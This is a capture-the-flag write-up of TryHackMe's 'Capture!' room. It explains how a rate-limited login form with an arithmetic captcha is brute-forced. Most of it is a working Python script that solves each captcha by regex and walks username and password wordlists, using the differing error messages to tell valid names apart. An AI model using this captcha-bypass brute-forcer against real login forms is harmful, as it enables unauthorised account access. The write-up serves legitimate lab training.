image previewTHM Capture! room banner
LucasBousselet [0xD][God]
trophy2881door186target23

Capture! Write-up

Last updated: 2023-07-27 (8 months ago)
TryHackMe 'Capture!' room offers the following challenge: bypass a login form that features a rate-limiter as protection against brute force attack. Once the limit is reached, which takes only a handful of unsuccesful login attemps, the user has to solve a captcha in order to try again submitting his credentials.
Note: the challenge is not about finding the largest wordlist money can buy, as the room author also added two wordlists for us to use, one for usernames and one for passwords.
Rank: Easy
Link: Capture!
First, we spin up the virtual machine, then we can take a look at the login form we are targeting. We are greeted by this page:
image previewSimple login form
Let's try to see this rate limiter in action, we can begin by trying a couple of common crendentials such as admin:password. Of course none of these will work, but this lets us examine the request dispatched to the server, thanks to the dev tools:
image previewSimple POST login request
image previewSimple POST login request - Params
This first test allowed us to make a few interesting findings:
  • the request is send through POST, to the URL "[IP]/login";
  • the body has only two parameters, 'username' and 'password'.
After a handful of unsuccesful attempts though, the login screen has had enough, and is prompting us with a captcha in order to keep submitting crendentials:
image previewLogin form with captcha
When we fill out the captcha and send another request, we notice that an additional parameters is added to the POST body, 'captcha=[value]', which is going to come in useful later on in the challenge.
At this stage we possess basic understanding of what's happening behind the scene, therefore the next step will be to find a way to dodge the detection of this rate limiter. A solid starting point is a tool called ffuf.

Approach #1: ffuf

ffuf (Fuzz Faster U Fool) is a fast web fuzzer that can be also be used to brute-force login forms. Basically it's going to send many POST requests to the web server, tweaking it slightly so that we try our many usernames from the wordlist automatically. Another reason to use ffuf is that it provides options to evade detection out-of-the-box, which is exactly what we wish to do. Let's head over to the command line:
image previewBrute-force attempt with ffuf
Before diving into the results, here are some details regarding the flags we are using:
  • "-w" is the wordlist used to feed the brute-force attack. Here we're only focusing on finding out if we can evade the server's defences, so just fuzzing the username is fine;
  • "-u" is the target URL, which is the IP + "/login" as we've seen previously;
  • "-X" indicates the HTTP method to use, here POST;
  • "-H" is any header we wish to pass along the request, we got this from our earlier investigation with dev tools;
  • "-d" is the POST request body, where we pass the 2 parameters the server is expecting to receive. We used the alias "W1" that we defined to be the input from the wordlist, one line at a time;
  • "-mc" provides the status code we want to match in our results, "all" means we want to see all results;
  • "-rate" is the rate of requests per second, we chose 1 not to be too noisy;
  • "-t" is the number of concurrent threads, we also chose 1 because we want to control the number of requests we send and strictly limit them;
  • "-p" is the delay in seconds to wait between 2 requests, we set it to a semi-random range from 3 to 6 seconds, to try avoiding detection;
  • "-r" to follow redirects;
  • "-c" to colourise the output;
Unfortunately, when we take a look at the results, after a few attempts (3 in this case), we notice the response from the server changes slightly. Namely, the size, number of words (272 to 308), and number of lines (106 to 113) are different. Our best guess is that after the first three requests, the server started asking for a captcha, thus adding to the overall size we observe for all subsequent responses. We can easily confirm that by stopping the brute-force then heading to the login form in the browser, and sure enough the form now has us asking for a captcha again.
Despite our best efforts to tinker with the options to dodge detection, we can not seem to beat the defences in place using ffuf. Let's switch guns and use Python instead.

Approach #2: Python script

The objective of the Python script is simple, request the login form, read the captcha puzzle, and send it back along with the solution, again using the wordlists. We'll do it in two steps, finding out the username and then the password, which is only possible separately because the error message upon a failed login is telling us what field has the error (either "The user [username] doesn't exist" or "The password [password] is not valid"). Let's split the script into 3 parts in order to explain the process incrementally.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requests import re import sys # URL to crack, change the IP accordingly url = 'http://10.10.10.10/login' # Captcha solver def captchaSolver(operator, firstNumber, secondNumber): captchaResult = -1 if (operator == "+"): captchaResult = int(firstNumber) + int(secondNumber) elif (operator == "-"): captchaResult = int(firstNumber) - int(secondNumber) elif (operator == "*"): captchaResult = int(firstNumber) * int(secondNumber) elif (operator == "/"): captchaResult = int(firstNumber) / int(secondNumber) return captchaResult captchaRegex = r"enabled</h3></b></label><br>([\d]+)([+\*\-\/])([\d]+)=\?<input"
The above snippet illustrates the declaration of:
  • a string URL containing the web page location;
  • a function "captchaSolver" that we will use at each request to solve the captcha. It should be self-explanatory;
  • a regex to extract the captcha from the response body. It has three capturing groups, one for the operator in the middle, the other two on each side of it, composed only of digits. The rest of the regex is to match the text just before and after the captcha expression;
Next is the actual brute-forcing of the username:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # usernames wordlist wordlistFile = open("wordlist.txt").read() usernamesList = wordlistFile.splitlines() # First we are trying to crack the username for username in usernamesList: myobj = {'username': username, 'password': 'admin'} # We send this request just to extract the captcha x = requests.post(url, data = myobj) noSpacesText = re.sub("\s", "", x.text) # Regex to extract the captcha from the HTML returned from the POST request captchaExpression = re.search(captchaRegex, noSpacesText) # Fills in the 3 components for that captcha firstNumber = captchaExpression.group(1) operator = captchaExpression.group(2) secondNumber = captchaExpression.group(3) # We then actually perform the operation to generate the correct captcha value captchaResult = captchaSolver(operator, firstNumber, secondNumber) loginData = {'username': username, 'password': 'admin', 'captcha': captchaResult} # We send a second request with a valid captcha this time loginAttempt = requests.post(url, data = loginData) # We know it's a success if the expression "The user [username] is not valid" isn't found resultExpression = re.findall(r"</strong> The user &", loginAttempt.text) if (resultExpression == []): print(username) print("success!!") break
Comments are plentiful, but let's go over the process regardless:
  • line 2 and 3, we are reading from the username wordlist, and turning it into a list we can loop over;
  • line 6, we start the loop, the following will be done for each username in the dictionnary;
  • line 7, we are preparing a request body that has username/password, but is used only to intially fetch the login form in order to see the captcha;
  • around line 12, we are simply formatting the response we got, and extracting the captcha from it, using the regex we defined earlier;
  • around line 16, the regex has given us 3 groups holding 3 values we need for the captcha solver function, two numbers and an operation to perform. We feed those to the function and get the solution of the captcha;
  • around line 24, we prepare a request body once again, this time including the captcha;
  • line 30, we are checking if the response has the phrase "The user is not valid" in it, if not, then the username is correct and we can continue onto brute-forcing the password.
image previewBrute-forcing the username
Once we got to this point, it is essentially the same thing over again for brute-forcing the password:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # first half is omitted for brevity ... # Once we have the username, we pretty much to the same thing over again to get the password. wordlistFile2 = open("passwords.txt").read() passwordsList = wordlistFile2.splitlines() for password in passwordsList: myobj = {'username': username, 'password': password} x = requests.post(url, data = myobj) noSpacesText = re.sub("\s", "", x.text) captchaExpression = re.search(captchaRegex, noSpacesText) firstNumber = captchaExpression.group(1) operator = captchaExpression.group(2) secondNumber = captchaExpression.group(3) captchaResult = captchaSolver(operator, firstNumber, secondNumber) loginData = {'username': username, 'password': password, 'captcha': captchaResult} loginAttempt = requests.post(url, data = loginData) resultExpression = re.findall(r"</strong> Invalid password", loginAttempt.text) if (resultExpression == []): print(password) print("success!! !!") break
The only difference worth mentioning are:
  • line 21, now the request sent along with the solved captcha, has the username we previously found to be valid, and the attempted password;
  • line 24, the text indicating the login attempt was invalid has changed slightly, to indicate that the password is now incorrect;
When the script is done running, it should have printed both the username and password in the terminal. Please note that the script will work only if the login form is asking a captcha, and not for the first couple of attempts.
image previewBrute-forcing the password
Congratulations! We've brute-forced the login form and have in our possession both username and password. Last but not least, let's actually log-in and get the flag:
image previewFinal flag